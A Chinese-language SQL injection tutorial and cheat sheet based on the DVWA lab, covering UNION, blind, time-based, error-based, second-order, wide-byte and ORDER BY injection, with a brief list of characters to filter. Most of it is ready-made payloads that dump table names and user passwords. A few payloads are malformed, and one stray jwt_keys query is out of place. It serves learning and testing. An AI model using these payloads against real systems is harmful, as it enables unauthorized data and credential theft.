SQL注入(常用技巧及绕过)
SQL注入测试方式
【有回显SQL注入】
判断注入类型:
由于输入的数据 id 是数字,我们并不知道服务器将 id 的值认为是字符还是数字,因此我们需要先来判断是数字型注入还是字符型注入(虽然从源码看得出来)。当输入的参数为字符串时就称该 SQL 注入为字符型,当输入的参数为数字时就称该 SQL 注入为数字型。字符型和数字型最大的一个区别在于数字型不需要单引号来闭合,而字符型需要通过单引号来闭合。
首先我们先注入 “1'”,可以看到服务器回显出错了,而且从回显的信息我们也能看出多了一个单引号'1''。
为什么要这么判断:因为数字型一般不用' ' 而字符型注入是有' '的,所以报错回显时一个是1'一个是'1''
类型判断方法2:
数字型注入
http://localhost:8888/form.php?id=1 and 1=1
http://localhost:8888/form.php?id=1 and 1=2
如果结果不同,可判断未数字型注入,为什么呢?
如果是数字型注入,sql语句就会是这样的
select * from tablename where id =1 and 1=1
select * from tablename where id =1 and 1=2
如果是字符型注入,sql语句应该是这样的
select * from tablename where id ='1 and 1 = 1'
select * from tablename where id ='1 and 1 = 2'
如果后面加1=1 和1=2 结果不同,可判断未数字型注入,如果相同,可能为字符型注入
特殊情况:如果开发在数字型也加了''号的话,那就不一样了可以通过'1aaa'来判断,SQL只会解析字符的第一个数字。不过这个时候判不判断都无所谓了
判断几列可控(判断查询的有几列):
接下来我们需要判断可查询的字段数,OEDER BY 子句可以对查询结果按某一列排序,我们可以使用该子句判断该表有几列是可控的。例如注入以下代码,发现按照第一列排序能够成功回显。注意这里要用到 “#”,该符号在 MySql 里面表示注释,能够把语句后面的内容注释掉,这里主要用来忽略查询语句后面的单引号。
' or 1 = 1 order by 1 #
测试到第三列发现服务器报错了,这表示该表的前 2 列是可控的。
接下来我们需要判断回显的字段按照顺序输出,这步需要使用联合查询来实现。所谓组合查询就是执行多个 SELECT,然后将这些查询结果进行合并,最后返回一个结果。测试时可以使用 “SELECT 常数” 的写法,运行效果如下,MySql 会直接返回常数。
因此我们注入如下内容,“select 1,2” 查询结果会和前一个 SELECT 查询语句的查询结果合并,返回一张总表。从返回的结果可以看出,参数的回显顺序为 1,2。
1' union select 1,2 #
虽然我们有源码了,但是根据上面的测试内容,我们可以推断出服务器使用的 SQL 语句如下。
select Firstname,Surname from 表 where ID = ’id’;
获取表中的字段名:
接下来获取表名,下面这个 SQL 语句用于查询当前使用的数据库名。因此我们可以利用这个语句,使用联合查询把查询结果合并成一张表返回。
SELECT DATABASE();
1' union select 1,database()#
现在我们知道数据库名是 dvwa 了,接下来要获取表名。这里要用到 MySql 自带的 information_schema,其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。table_schema 在使用 information_schema.tables 查询时用于表示数据库名,而 table_name 表示具体的表名。因此我们可以构造出如下的内容获取表名,可以使用 group_concat() 函数把查询结果合并成一个字符串返回。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #
该语句表示从对应名字的数据库中找到所有的表,并通过group_concat()方法将所有表名合并为一个字段
现在得知了 dvwa 数据库有 2 个表 guestbook 和 users,现在需要获取 users 表中具体有哪些字段。使用 information_schema.columns 中的 column_name,该变量表示具体的字段名,同样使用 group_concat() 函数把查询结果合并成一个字符串。
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
获取目标信息:
我们得知了 users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。接下来我们就构造 payload,直接获取 password 字段值。
1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
#
#database()用于获取当前数据库
#information_schema数据库记录了所有信息information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。
#主要是通过order by和union和group_concat(),database(),information_schema
SELECT id,`code`,`name`,description FROM tag_info WHERE id='1' UNION
SELECT 1,2,3,DATABASE () UNION
SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=DATABASE () UNION
SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_SCHEMA=DATABASE () AND table_name='tag_info'-- a’;
【SQL盲注】
【布尔盲注】
① 判断数据库的长度
?id=1' and length(database())>7 -- a
?id=1' and length(database())>8 -- a 回显不同,说明数据库的长度是8个字符
① 获取数据库名
?id=1' and ascii(substr(select database(),1,1))=97 -- a
② 判断库里表的个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 3 -- a
?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 4 -- a
③ 获取库里各个表名的长度
?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0, 1)>8 -- a
③ 获取库里第一个表名中的第一个字符的ASCII值,可以此推断出表名,可借助bp爆破
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema =
database() limit 0, 1),1,1))=101 -- a
④ 获取users表里的字段数
?id=1' and (select count(column_name) from information_schema.columns where table_schema =
database() and table_name = 'users') = 3 -- a
⑤ 获取各字段(列名)长度
?id=1' and length(select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0, 1)>8 -- a
⑤ 获取字段名称
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=
database() and table_name = 'users' limit 0, 1), 1, 1) )=97 -- a
⑥ 获取字段值
?id=1' and ascii(substr((select username from users limit 0, 1), 1, 1)) = 97 -- a
?id=1' and ascii(substr((select group_concat(username) from users), 1, 1)) = 97 -- a
【时间盲注】
?id=1' and if(length(database()) = 8, sleep(5), 1) -- a 睡了5秒
因为没有回显,可在布尔盲注上加上if(布尔盲注语句,sleep(5),1),通过时间判断对错
#主要通过if() 和substr() 和sleep()
【报错注入】
1.通过updatexml()函数进行报错注入
函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更 改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。
报错原理
这里和extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容。
约束条件
输出字符长度限制为32个字符
?id=1' and updatexml(1, concat(0x7e, database(),0x7e),1) -- a
?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables
where table_schema = database()), 0x7e), 1) -- a
?id=1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from
information_schema.columns where table_schema = database() and table_name = 'users'), 0x7e),1) -- a
?id=1' and updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e),1) -- a
?id=1' and updatexml(1, concat(0x7e, (select group_concat(password) from users), 0x7e),1) -- a
2.extractvalue()
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
这里在’anything’中查询不到 位置是 /database()的内容,
但也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
【二次注入】
第一次过滤了'等特殊字符 但后面更新是没有过滤'等特殊字符 导致更新是二次注入
【宽字节注入】
利用字符编码的差异
GBK
%5C==\
%DF%5C==运
’; select ‘MQ==’ from jwt_keys --
【其他特殊位置注入】
order by
group by
limit
order by 后面的语法如下:
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
所以我们在 order by 后面可以跟字段名或者位置,如下:
常见的 order by 注入形式大致有以下几种:
1)报错注入
order by 1 and 1=updatexml(0,concat(0x7e,version(),0x7e),1)
order by updatexml(0,concat(0x7e,version()),1
2)延时盲注
order by username,if((1=2),sleep(1),sleep(0))
3)布尔盲注
布尔注入和上面的延时注入类似,根据 if 语句的正确与否,然后按后面第二位或者第三位排序
order by if(mid(version(),1,1)like('4%'),username,password);
【防御】
SQL注入需要过滤的特殊字符
注释相关
/*
--+或--空格
#
其他
'
"
<
>
\
*
;
+
-
&
|
(
)